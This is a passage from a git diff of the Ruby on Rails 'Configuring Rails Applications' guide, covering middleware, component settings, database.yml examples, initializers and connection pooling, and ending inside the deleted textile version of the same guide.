`Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. +* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs. +* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless. +* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. +* `ActionDispatch::RemoteIp` checks for IP spoofing attacks. Configurable with the `config.action_dispatch.ip_spoofing_check` and `config.action_dispatch.trusted_proxies` settings. +* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`. +* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request. +* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. +* `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. +* `ActionDispatch::Cookies` sets cookies for the request. +* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`. +* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value. +* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`. +* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. +* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so. +* `ActionDispatch::BestStandardsSupport` enables "best standards support" so that IE8 renders some elements correctly. + +Besides these usual middleware, you can add your own by using the `config.middleware.use` method: + +```ruby +config.middleware.use Magical::Unicorns +``` + +This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another. + +```ruby +config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns +``` + +There's also `insert_after` which will insert a middleware after another: + +```ruby +config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns +``` + +Middlewares can also be completely swapped out and replaced with others: + +```ruby +config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns +``` + +They can also be removed from the stack completely: + +```ruby +config.middleware.delete ActionDispatch::BestStandardsSupport +``` + +### Configuring i18n + +* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. + +* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. + +### Configuring Active Record + +`config.active_record` includes a variety of configuration options: + +* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging. + +* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices: +** `:table_name` would make the primary key for the Customer class `customerid` +** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id` + +* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string. + +* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. + +* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. + +* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails. + +* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. + +* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application. + +* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default. + +* `config.active_record.whitelist_attributes` will create an empty whitelist of attributes available for mass-assignment security for all models in your app. + +* `config.active_record.auto_explain_threshold_in_seconds` configures the threshold for automatic EXPLAINs (`nil` disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode. + +* `config.active_record.mass_assignment_sanitizer` will determine the strictness of the mass assignment sanitization within Rails. Defaults to `:strict`. In this mode, mass assigning any non-`attr_accessible` attribute in a `create` or `update_attributes` call will raise an exception. Setting this option to `:logger` will only print to the log file when an attribute is being assigned and will not raise an exception. + +The MySQL adapter adds one additional configuration option: + +* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default. + +The schema dumper adds one additional configuration option: + +* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`. + +### Configuring Action Controller + +`config.action_controller` includes a number of configuration settings: + +* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. + +* `config.action_controller.asset_path` takes a block which configures where assets can be found. Shorter version of `config.action_controller.asset_path`. + +* `config.action_controller.page_cache_directory` should be the document root for the web server and is set using `Base.page_cache_directory = "/document/root"`. For Rails, this directory has already been set to `Rails.public_path` (which is usually set to `Rails.root ` "/public"`). Changing this setting can be useful to avoid naming conflicts with files in `public/`, but doing so will likely require configuring your web server to look in the new location for cached files. + +* `config.action_controller.page_cache_extension` configures the extension used for cached pages saved to `page_cache_directory`. Defaults to `.html`. + +* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production. + +* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8". + +* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging. + +* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default. + +* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is false in test mode and true in all other modes. + +* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. + +The caching code adds two additional settings: + +* `ActionController::Base.page_cache_directory` sets the directory where Rails will create cached pages for your web server. The default is `Rails.public_path` (which is usually set to `Rails.root + "/public"`). + +* `ActionController::Base.page_cache_extension` sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is `.html`. + +### Configuring Action Dispatch + +* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class. + +* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as: + + ```ruby + config.action_dispatch.default_headers = { + 'X-Frame-Options' => 'SAMEORIGIN', + 'X-XSS-Protection' => '1; mode=block', + 'X-Content-Type-Options' => 'nosniff' + } + ``` + +* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. + +* `ActionDispatch::Callbacks.before` takes a block of code to run before the request. + +* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. + +* `ActionDispatch::Callbacks.after` takes a block of code to run after the request. + +### Configuring Action View + +`config.action_view` includes a small number of configuration settings: + +* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is + + ```ruby + Proc.new do |html_tag, instance| + %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe + end + ``` + +* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String` + +* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. + +* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information. + +* `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as: + + ```ruby + config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) } + ``` + + However, you may add to this by defining others: + + ```ruby + config.action_view.javascript_expansions[:prototype] = [ + 'prototype', 'effects', 'dragdrop', 'controls' + ] + ``` + + And can reference in the view with the following code: + + ```ruby + <%= javascript_include_tag :prototype %> + ``` + +* `config.action_view.stylesheet_expansions` works in much the same way as `javascript_expansions`, but has no default key. Keys defined for this hash can be referenced in the view like such: + + ```ruby + <%= stylesheet_link_tag :special %> + ``` + +* `config.action_view.cache_asset_ids` With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. + +* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true` + +* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template: + + ```erb + <%= render @post %> + ``` + + The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`. + +### Configuring Action Mailer + +There are a number of settings available on `config.action_mailer`: + +* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging. + +* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options: + * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting. + * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it. + * `:domain` - If you need to specify a HELO domain, you can do it here. + * `:user_name` - If your mail server requires authentication, set the username in this setting. + * `:password` - If your mail server requires authentication, set the password in this setting. + * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`. + +* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options: + * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`. + * `:arguments` - The command line arguments. Defaults to `-i -t`. + +* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true. + +* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`. + +* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. + +* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: + + ```ruby + :mime_version => "1.0", + :charset => "UTF-8", + :content_type => "text/plain", + :parts_order => [ "text/plain", "text/enriched", "text/html" ] + ``` + +* `config.action_mailer.observers` registers observers which will be notified when mail is delivered. + + ```ruby + config.action_mailer.observers = ["MailObserver"] + ``` + +* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent. + + ```ruby + config.action_mailer.interceptors = ["MailInterceptor"] + ``` + +* `config.action_mailer.queue` registers the queue that will be used to deliver the mail. +```ruby +config.action_mailer.queue = SomeQueue.new +``` + +### Configuring Active Support + +There are a few configuration options available in Active Support: + +* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded. + +* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`. + +* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. + +* `ActiveSupport::BufferedLogger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. + +* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations. + +* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails. + +* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced. + +* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. + +* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. + +### Configuring a Database + +Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: + +* The `development` environment is used on your development/local computer as you interact manually with the application. +* The `test` environment is used when running automated tests. +* The `production` environment is used when you deploy your application for the world to use. + +TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. + +#### Configuring an SQLite3 Database + +Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. + +Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment: + +```yaml +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 +``` + +NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. + +#### Configuring a MySQL Database + +If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: mysql2 + encoding: utf8 + database: blog_development + pool: 5 + username: root + password: + socket: /tmp/mysql.sock +``` + +If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate. + +#### Configuring a PostgreSQL Database + +If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases: + +```yaml +development: + adapter: postgresql + encoding: unicode + database: blog_development + pool: 5 + username: blog + password: +``` + +Prepared Statements can be disabled thus: + +```yaml +production: + adapter: postgresql + prepared_statements: false +``` + +#### Configuring an SQLite3 Database for JRuby Platform + +If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcsqlite3 + database: db/development.sqlite3 +``` + +#### Configuring a MySQL Database for JRuby Platform + +If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcmysql + database: blog_development + username: root + password: +``` + +#### Configuring a PostgreSQL Database for JRuby Platform + +If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: + +```yaml +development: + adapter: jdbcpostgresql + encoding: unicode + database: blog_development + username: blog + password: +``` + +Change the username and password in the `development` section as appropriate. + +Rails Environment Settings +-------------------------- + +Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: + +* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. + +* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory. + +* `ENV["RAILS_ASSET_ID"]` will override the default cache-busting timestamps that Rails generates for downloadable assets. + +* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. + + +Using Initializer Files +----------------------- + +After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts. + +NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. + +TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`. + +Initialization events +--------------------- + +Rails has 5 initialization events which can be hooked into (listed in the order that they are run): + +* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens. + +* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process. + +* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`. + +* `before_eager_load`: This is run directly before eager loading occurs, which is the default behaviour for the `production` environment and not for the `development` environment. + +* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run. + +To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: + +```ruby +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +``` + +Alternatively, you can also do it through the `config` method on the `Rails.application` object: + +```ruby +Rails.application.config.before_initialize do + # initialization code goes here +end +``` + +WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the `after_initialize` block is called. + +### `Rails::Railtie#initializer` + +Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support: + +```ruby +initializer "active_support.initialize_whiny_nils" do |app| + require 'active_support/whiny_nil' if app.config.whiny_nils +end +``` + +The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_. + +Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. + +WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. + +The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example. + +Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application. + +### Initializers + +Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated). + +* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it. + +* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default. + +* `initialize_logger` Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`. + +* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. + +* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer -- which runs only if `cache_classes` is set to `false` -- uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. + +* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. + +* `bootstrap_hook` Runs all configured `before_initialize` blocks. + +* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. + +* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as: + + ``` + Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id + ``` + + And: + + ``` + You have a nil object when you didn't expect it! + You might have expected an instance of Array. + The error occurred while evaluating nil.each + ``` + +* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. + +* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". + +* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. + +* `action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too. + +* `action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views. + +* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. + +* `action_controller.logger` Sets `ActionController::Base.logger` -- if it's not already set -- to `Rails.logger`. + +* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` -- if it's not already set -- to `Rails.cache`. + +* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. + +* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access. + +* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. + +* `active_record.logger` Sets `ActiveRecord::Base.logger` -- if it's not already set -- to `Rails.logger`. + +* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. + +* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment. + +* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger. + +* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. + +* `action_mailer.logger` Sets `ActionMailer::Base.logger` -- if it's not already set -- to `Rails.logger`. + +* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. + +* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access. + +* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`. + +* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`. + +* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application. + +* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files. + +* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application. + +* `load_environment_config` Loads the `config/environments` file for the current environment. + +* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`. + +* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application. + +* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. + +* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. + +* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. + +* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. + +* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production. + +* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. + +* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request. + +* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`. + +* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines. + +* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`. + +* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true. + +Database pooling +---------------- + +Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`. + +```ruby +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 +``` + +Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. + +Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. + +NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. diff --git a/guides/source/configuring.textile b/guides/source/configuring.textile deleted file mode 100644 index 9c35738bf8..0000000000 --- a/guides/source/configuring.textile +++ /dev/null @@ -1,770 +0,0 @@ -h2. Configuring Rails Applications - -This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to: - -* Adjust the behavior of your Rails applications -* Add additional code to be run at application start time - -endprologue. - -h3. Locations for Initialization Code - -Rails offers four standard spots to place initialization code: - -* +config/application.rb+ -* Environment-specific configuration files -* Initializers -* After-initializers - -h3. Running Code Before Rails - -In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+. - -h3. Configuring Rails Components - -In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. - -For example, the default +config/application.rb+ file includes this setting: - -<ruby> -config.filter_parameters += [:password] -</ruby> - -This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+: - -<ruby> -config.active_record.observers = [:hotel_observer, :review_observer] -</ruby> - -Rails will use that particular setting to configure Active Record. - -h4. Rails General Configuration - -These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+. - -* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: - -<ruby> -config.after_initialize do - ActionView::Base.sanitized_allowed_tags.delete 'div' -end -</ruby> - -* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+. - -* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+. - -<ruby> -config.asset_path = proc { |path| "/blog/public#{path}" } -</ruby> - -NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default. - -* +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array. - -* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. - -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. - -* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. - -* +config.cache_store+ configures which cache store to use for Rails caching. Options include one of the symbols +:memory_store+, +:file_store+, +:mem_cache_store+, +:null_store+, or an object that implements the cache API. Defaults to +:file_store+ if the directory +tmp/cache+ exists, and to +:memory_store+ otherwise. - -* +config.colorize_logging+ specifies whether or not to use ANSI color codes when logging information. Defaults to true. - -* +config.consider_all_requests_local+ is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the +Rails::Info+ controller will show the application runtime context in +/rails/info/properties+. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement +local_request?+ in controllers to specify which requests should provide debugging information on errors. - -* +config.console+ allows you to set class that will be used as console you run +rails console+. It's best to run it in +console+ block: - -<ruby> -console do - # this block is called only when running console, - # so we can safely require pry here - require "pry" - config.console = Pry -end -</ruby> - -* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+. - -* +config.eager_load+ when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails 